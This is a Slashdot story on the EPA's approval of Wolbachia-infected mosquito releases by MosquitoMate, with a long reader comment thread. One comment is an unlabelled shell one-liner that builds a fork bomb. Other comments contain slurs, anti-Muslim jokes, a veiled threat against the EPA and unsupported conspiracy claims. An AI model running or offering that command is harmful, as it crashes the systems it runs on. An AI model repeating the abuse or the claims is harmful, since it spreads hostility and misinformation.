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EPA Approves Release of Bacteria-Carrying Mosquitoes To 20 States (nature.com)
schwit1 writes: The U.S. Environmental Protection Agency (EPA) has approved the use of a common bacterium to kill wild mosquitoes that transmit viruses such as dengue, yellow fever and Zika, Nature's news team has learned. On November 3rd, the agency told biotechnology start-up MosquitoMate that it could release the bacterium Wolbachia pipientis into the environment as a tool against the Asian tiger mosquito (Aedes albopictus). Lab-reared mosquitoes will deliver the bacterium to wild mosquito populations. The decision -- which the EPA has not formally announced -- allows the company, which is based in Lexington, Kentucky, to release the bacteria-infected mosquitoes in 20 U.S. states and Washington DC.
MosquitoMate will rear the Wolbachia-infected A. albopictus mosquitoes in its laboratories, and then sort males from females. Then the laboratory males, which don't bite, will be released at treatment sites. When these males mate with wild females, which do not carry the same strain of Wolbachia, the resulting fertilized eggs don't hatch because the paternal chromosomes do not form properly. The company says that over time, as more of the Wolbachia-infected males are released and breed with the wild partners, the pest population of A. albopictus mosquitoes dwindles. Other insects, including other species of mosquito, are not harmed by the practice, says Stephen Dobson, an entomologist at the University of Kentucky in Lexington and founder of MosquitoMate.
MosquitoMate will rear the Wolbachia-infected A. albopictus mosquitoes in its laboratories, and then sort males from females. Then the laboratory males, which don't bite, will be released at treatment sites. When these males mate with wild females, which do not carry the same strain of Wolbachia, the resulting fertilized eggs don't hatch because the paternal chromosomes do not form properly. The company says that over time, as more of the Wolbachia-infected males are released and breed with the wild partners, the pest population of A. albopictus mosquitoes dwindles. Other insects, including other species of mosquito, are not harmed by the practice, says Stephen Dobson, an entomologist at the University of Kentucky in Lexington and founder of MosquitoMate.
It’s not like bacteria frequently mutate and jump species!
And this only makes the entire species go completely extinct! Like in that Star Trek Voyager episode. So fuck the moral implications.
</sarcasm>
It will be fun times, when it turns out that humanity really is too dumb to live.
[CAPTCHA: ending]
The traitor administration hasn't fully defunded it yet?
Our backyards is full of bloody cane toads at this time of year... I hope they get this one right ;)
When you will find out, that the genetic diversity between people in your community of fucktards is bigger than that of your designated scapegoats that you conveniently blame your complete failure in life on, and they kill you before you manage to release them. XD
Please... go ahead. Maybe it will teach you a lesson. And maybe not. lol
For their next trick, free Ebola sandwiches!
We wouldn't be Real America(TM) without it, now would we?
This would be so amazing
I've read research that this strategy actually works, which is amazing to me.
There are so many mosquitos, how can they possibly release enough to actually make a difference in the population?
"First they came for the slanderers and i said nothing."
Weren't we thaught in school not to mess with the ecosystems and let nature run its course? else we might risk exterminating some species by mistake?
If someone figures out how to extinct all mosquitos on Earth, I am totally on their side!
For their next trick, free Ebola sandwiches!
Is that like Free Mandela tee-shirts?
And how on Earth is going the EPA and US to control that such kind of hybrids doesn't invade another countries like Canada or Mexico?
Or should we, the rest of the World, to just sit and close our mouth with whatever thing they like to do that might fuck our countries? Same as the Paris Climate?
There are white muslims too you know.
The Zika-carrying mosquito is an invasive species in the US, and one that got there because of Human globalization and transport systems. Wiping out that subspecies is to restore balance not disrupt it.
Fish birds and frogs eat mosquito's - so if their food source drops 20% then....
The companies selling overpriced ineffective mosquito repellent will also be hurt.
Adolescents who make girl dorms mosquito friendly will get less
Now if only we can add the bacteria to food outside Mosques to American mozzies
Not only are the targeted mosqutoes an invasive species, but your ability to read TFS is as offensively poor as your abuse of apostrophes.
n/t
By approving to only 20 states, do they really think the mosquitoes will not cross state lines? Or jump to Mexico or Canada? What if a country like N.Korea starts designing and releasing their own organisms in a "F the world" gesture - then will it be seen as a problem?
Dude, it is males. They don't magically reproduce. The give the bacteria to the females, which can breed offsprings. End of story.
Sounds good on paper. Let's watch and see.
"And for the record: I agree that this plan is utterly insane."
I disagree. If that was the case, the article obviously would have the whatcouldpossiblygowrong flag.
This is not going to end well. Nope. Not at all.
"Think of the children" syndrome is going to kill us all.
What could possibly go wrong?
The Wolbachia bacteria already exists naturally in insects all over the world, including several species of mosquitoes. The bacteria inhibits reproduction of viruses like Zika, Dengue and Chikungunya in the mosquito, significantly reducing the risk of spreading the virus. This without using any kind of chemicals or genetic engineering. The World Mosquito Program has more information about Wolbachia: http://www.eliminatedengue.com...
The bacteria they're using already exists in nature and already infects mosquitoes. Nothing is being released that isn't already out there. All this conjecture about genetically modified organisms, hybrids, extinction, jumping species, etc. is just knee-jerk fear-mongering by people who have no clue what they're talking about.
Free Palestine *
* Offer only valid with the purchase of one Palestine at full price.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
CIA/Blackwater do not need EPA approval. How do you know this has not already happened?
from Jurassic Park?
Life... will find a way.
Do mosquito females only mate with one male?
I ask because if mosquitoes are like cats or humans who mate with many males, they would end up with offspring even if most of the males are shooting blanks.
Except for the ones that do form. One thing is for certain: there is no stopping mutant DNA; the mosquitos will soon be here. And I for one welcome our new insect overlords. I’d like to remind them that as a trusted Slashdot moderator, I can be helpful in rounding up others to toil in their underground anti-DEET research labs.
There are no genetically-modified mosquitoes here. They are infected with a naturally-occurring bacterium. Please reduce the size of your tinfoil wardrobe.
We don't see many Aedes albopictus in Minnesota, nor are we likely to after the mosquitoes are released in those twenty states. I think they don't like winter.
We do have plenty of other mosquitoes that are incredibly aggravating, however, and in the cities bacteria is routinely dumped into low-lying marshes in the spring to eat the mosquito larvae before or as they hatch.
I say we release these in Washington DC first and then wait awhile and see what happens. If, after a couple of weeks, everyone there is okay (as in "normal") then they can release the mosquitoes in the other states. But, if the people in DC just walk around making nonsensical statements, like "You can keep your doctor!" and "It's not a tax cut for the rich!', then we destroy the remaining stock.
I posit that the poster is not actually in the USA and is instead trying to make a joke... but failing miserably.
Not sure if you are trolling, but in case you are not. Cold kills the buggers, so no need for all states. Also no need to release them in states where there is no problem.
What's better, a physical wall or an organic wall that can grow and shrink accordingly? Think about it, though the bacteria is specifically for the Tiger Mosquito, just like easter eggs in software there could be a specific pathogen which reacts with water not treated in the US...not anything super bad, but enough to make people crossing the boarder to think twice...just saying that it could happen...it's certainly plausible.
Wouldn't this strengthen the population that carries the viruses by eliminating the weaker carries, i.e. breeding out the weak and re-enforcing the stronger ones? I'm not a biologist or geneticist
Fat, drunk, and stupid is no way to go through life, son.
This shit is literally like 50 years old. The science is settled. Even the alarmist EPA couldn't find anything wrong with it.
Not sure if you're just retarded, but cold states have short but brutal mosquito seasons.
I'm from the south originally but I've never seen mosquitoes as bad as in areas of North Dakota, Ontario, or Alaska.
If someone proposed releasing extra prairie dogs infected with bubonic plague, the logic that such infected animals already exist in nature would not be a satisfactory defense against concerns about increasing human risk.
"Nature red in tooth in claw..." just because something is natural says nothing about its safety.
By approving to only 20 states, do they really think the mosquitoes will not cross state lines? Or jump to Mexico or Canada? What if a country like N.Korea starts designing and releasing their own organisms in a "F the world" gesture - then will it be seen as a problem?
I don't know that the concept is to have strict geographic borders. Any borders will be very fuzzy. But the highly focused control methods are not new. Bacillus thuringiensis I is also used to control Mosquitoes. And it does a great job, killing the larvae of just the mosquitoes (also fungus gnat and blackfly larvae) but that's it. In the pond in my backyard, we use it, and doesn't bother the frogs or fish one bit.
Bacillus thuringiensis K a version of the bacteria that goes after Gypsy moths. And it's approved for "organic" status.
Both completely natural, not man made and found on beaches.
And did you know that there are some species of insect that cannot reproduce without Wolbachia, the bacteria in question? It is a very common bacteria, it has the same effect in a male mosquito who picks it up randomly as in a purposely infected one.
We've learned a lot about pest control, and have gone far beyond early and clumsy efforts. While so many Slashdotters are still stuck in the 1960's Andromeda Strain world, we've been using these highly focused controls for many years. might as well rail on about vaccines.
tl;dr version. if Wolbachia is a problem, we're screwed already because it's ubiquitous. As for NK pulling some insect borne stunt, its them and everyone else. This isn't rocket surgery.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
Dude, it is males. They don't magically reproduce. The give the bacteria to the females, which can breed offsprings. End of story.
Dude. Expecting the average slashdot user to know anything about sexual reproduction and how it works is a little foolish don't you think?
Except that the EPA is no longer alarmist and openly hostile towards science.
My favorite comments thus far have been ones from people with clearly no understanding of biology or pathology. Would you wet your pants in your chair if I told you this isn't the first time a strategy like this has been employed? Not specifically with the mosquito, or any particular species thereof, but with many invasive species of plants, such as cheatgrass:
https://blog.nature.org/science/2016/09/07/attacking-invasive-cheatgrass-root-soil-microbes-biocontrol-sage/
and fish:
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4333861/
This is not under-explored science, nor is it novel. Read a book (or a publication) once in a while instead of buzzfeed and you'd be surprised to learn what we actually know how to do with regard to ecosystem modification.
Well - 1st off this species originated in tropical and sub-tropical Asia.. so the more arid western states probably do not have a mosquito problem to begin with. 2nd, southern states that do not experience prolonged sub-freezing temperatures probably have a much larger rate of infection. That right there condenses the areas that could use this "treatment".
They are only releasing the mosquitoes with the naturally occurring bacteria, they aren't really genetically modified. Think of it more as selective breeding aimed at controlling this aggressive mosquito.
I just got back from Japan - it wasn't nearly as bad this time but this breed is nasty. My son and I are pin cushions to them.
"Action without philosophy is a lethal weapon; philosophy without action is worthless."
Cane Toads Australia
I think that's the plan, and for you to keep your people in your country too. Don't send them here. Then we'll all be happy.
It's probably what the Native Americans said about the previous Native Americans they got THEIR land from.
Or do you think that they distributed evenly across the Americas, hung out in their territory and never fought with each other? Read up on the Iroquois.
This right here. I grew up in Georgia. The Skeeters were bad. Was stationed in Alaska for a while. The skeeters there are far and away the worst I had ever seen. We used 100% deet replant to keep them away.
https://www.amazon.com/dp/B00TV2J5IG/
The plan to selectively eliminate population by language spoken has begun...
What could possibly go wrong????
The basic ingredients of aspartame are naturally occurring. That doesn't mean we should engorge ourselves with it. With the ubiquity of Bisphenol A in the human food chain, sterile "males" will decimate the human race. Thereby giving these insects free reign over this planet. That's how G-d rolls.
The mind conceives, the body achieves, the spirit manifests.
Yeah, it's true that Northern states still have mosquitoes. I've even had someone jokingly tell me that the mosquito is even the state bird of Minnesota.
However, not all mosquito species actually carry the diseases that we'd like to prevent, and some of those species that are carriers don't inhabit northern states or aren't as prevalent on the west coast of the country.
. . . tell me this has absolutely nothing to do with Oxitec or the Gates Foundation, for when Gates Foundation owned Oxitec, and they released those dengue-fighting mosquitoes, every single location experienced an explosion in that Zika virus!
Me and my children are not their lab rats and nature is not their lab.
The EPA does not legally exist anyway, so any such action on their part will be viewed by many American's a a military attack and will be subject to a measured response.
Warnings have been given.
two words: cane toad.
And yet here they are.. doing their job to ensure solid science is applied safely in industry. The world didn't end and the country is operating quite well regardless of what reddit or msnbc might have predicted. Who'da thunk it?
Unfortunately Wolbachia pipientis can cause parthenogenesis which would be a really terrible turn of events. Sending out irradiated males, like we did with the screw fly makes far more sense.
https://microbewiki.kenyon.edu/index.php/Wolbachia_pipientis
AC you replied to. I spent 6 years at Fort Rich. Summer deployments to greely were insane for the little bastards. I remember feeling like I had a hundred in each ear canal.
If you want to cut down on the number of blood-sucking parasites in your area, the answer is simple: quit electing them.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
Seems like I can order one from Amazon Warehouse in Used - Acceptable condition, but I just get the feeling it doesn't actually work perfectly.
We've learned a lot about pest control, and have gone far beyond early and clumsy efforts. While so many Slashdotters are still stuck in the 1960's Andromeda Strain world, we've been using these highly focused controls for many years. might as well rail on about vaccines.
Oh man, I thoroughly enjoyed that post. Good work!
False: "Instead of relying on genetic engineering, MosquitoMate infects lab-grown mosquitoes with the common bacterium Wolbachia pipientis, which affects mosquitoes but not animals or humans."
The 2006 study "Survival of Wolbachia pipientis in Cell-Free Medium" by Rasgon et al. clearly states:
"Wolbachia infections are maintained by strict maternal inheritance, horizontal transfer events are common over evolutionary time."
"Wolbachia bacteria were able to survive extracellularly for up to 1 week with no decrease in viability ..."
And "... were able to reinvade cells and establish stable infections at all time points."
"The ability of Wolbachia bacteria to survive outside host cells may increase the probability of successful horizontal transfer and the exploitation of new ecological niches." Source: http://aem.asm.org/content/72/11/6934
The book Immunology, Inflammation and Diseases of the Eye by E. Pearlman and K. Gentil (on page 91) states:
Wolbachia "is most numerous in the mammalian host compared with the insect stage ... Elevated Wolbachia DNA and even intact Wolbachia are detected in the blood." Further along, it states "within 7 days in the mammalian host, bacteria numbers increased 600-fold." Therefore, it would be fairly easy to add Wolbachia to serologic testing.
"Wolbachia spp. should be further evaluated as causes of human infection, especially as Wolbachia infection of mosquitoes is increasingly considered to be a tool for interfering with mosquito-borne transmission of human pathogens" (Chen, Dong, et al., 2015). NOTE: Filariodea coxI gene was not found in this case which points to mosquito-to-human transmission. Source: http://www.clinicalmicrobiologyandinfection.com/article/S1198-743X(14)00040-8/fulltext
I agree with this. I've lived in central Africa, the upper Midwest US, and a Nordic country.
The mosquitoes in central Africa (city and rural areas) were definitely less bothersome than summer in rural areas in the other two places. On the other hand, occasionally you come down with malaria.
"Nothing shocks me. I'm a scientist." -Indiana Jones
The 20 states are CA, CT, DC, DE, lL, IN, KY, MA, ME, MD, MO, NH, NJ, NV, NY, OH, PA. RI, TN, VT, and WY. (from the document at https://www.regulations.gov/do...)
How long before the target mosquitoes adapt to the bacteria, and then become more potent.?
Oh no, not an invasive mosquito species going extinct. Whatever will we do?
Examine even your most deeply held beliefs. Nobody is always right.
Yep, cold states have intense mosquito seasons, but not with the species they're targeting in this article.
Examine even your most deeply held beliefs. Nobody is always right.